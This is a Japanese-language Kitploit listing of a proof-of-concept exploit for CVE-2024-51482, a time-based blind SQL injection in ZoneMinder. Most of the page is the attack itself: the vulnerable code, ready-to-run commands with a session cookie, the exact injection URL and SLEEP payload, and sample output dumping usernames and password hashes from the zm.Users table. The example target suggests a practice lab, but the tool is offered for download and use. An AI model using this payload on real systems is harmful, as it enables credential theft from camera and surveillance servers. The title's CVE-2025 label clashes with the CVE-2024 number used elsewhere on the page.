Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC、zm.Users から資格情報をダンプ | Kitploit
ツール/GitHubGitHub/c0gnit00/cve-2024-51482
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC、zm.Users から資格情報をダンプ

リポジトリを見る
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-51482 — ZoneMinder の時間ベースのブラインド SQL インジェクション

CVE-2024-51482 の概念実証エクスプロイトです。これは ZoneMinder v1.37. ≤ 1.37.64* における、認証済みの時間ベースのブラインド SQL インジェクションの脆弱性です。

このスクリプトは、SLEEP() ベースのオラクルに対する二分探索(バイセクション)を使用して、zm.Users テーブルからユーザー名とパスワードハッシュを抽出します。


脆弱性

web/ajax/event.php の removetag ハンドラは、DELETE クエリを安全にパラメータ化しますが、その後の SELECT にはユーザー制御の入力を直接文字列補間します。

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId はサニタイズなしで $_REQUEST['tid'] から直接取得されるため、tid パラメータを介したインジェクションが可能になります。


要件

  • Python 3.8+
  • requests (pip install requests)
  • ログイン済み ZoneMinder アカウントの有効な ZMSESSID セッションクッキー

使用方法

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

引数:

  • --url — ZoneMinder のベース URL(例: http://cctv.htb/zm)(必須)
  • --zmsessid — ZMSESSID クッキーの値 (必須)
  • --sleep — 時間ベース推論のスリープ秒数(デフォルト: 3)
  • --timeout — リクエストタイムアウト(秒)(デフォルト: sleep + 3)

例:

root@kitploit:~
# 基本
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# 低遅延ネットワークでの高速化
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# カスタムタイムアウト
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

セッションクッキーの取得

ZoneMinder にログインし、ブラウザの DevTools (F12) -> Application -> Cookies を開いて、ZMSESSID の値をコピーします。または、Burp Suite で認証済みリクエストを傍受し、Cookie ヘッダーから取得します。


出力

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

仕組み

  1. ベースライン — 通常の応答時間を測定するため、クリーンな tid=1 リクエストを送信します。
  2. 確認 — SLEEP(2) を注入し、応答が 2 秒以上遅延することを確認します。
  3. 行数カウント — zm.Users に対して COUNT(*) を二分探索し、アカウント数を特定します。
  4. 抽出 — 各ユーザーについて、Username と Password の全文字の ASCII 値を二分探索します(線形スキャンの 95 回に対し、1 文字あたり約 7 リクエスト)。

ペイロード構造:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 が必要です。脆弱な SELECT の前に実行される安全な DELETE は、これがないと 500 エラーを返し、インジェクションに到達する前に実行が中止されるためです。


参考

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

免責事項

このツールは許可されたセキュリティテストおよび教育目的の研究専用です。
所有していないシステムをテストする前に、必ず明示的な書面による許可を取得してください。
作者は、本ソフトウェアの誤用または損害について一切の責任を負いません。

ツールをダウンロード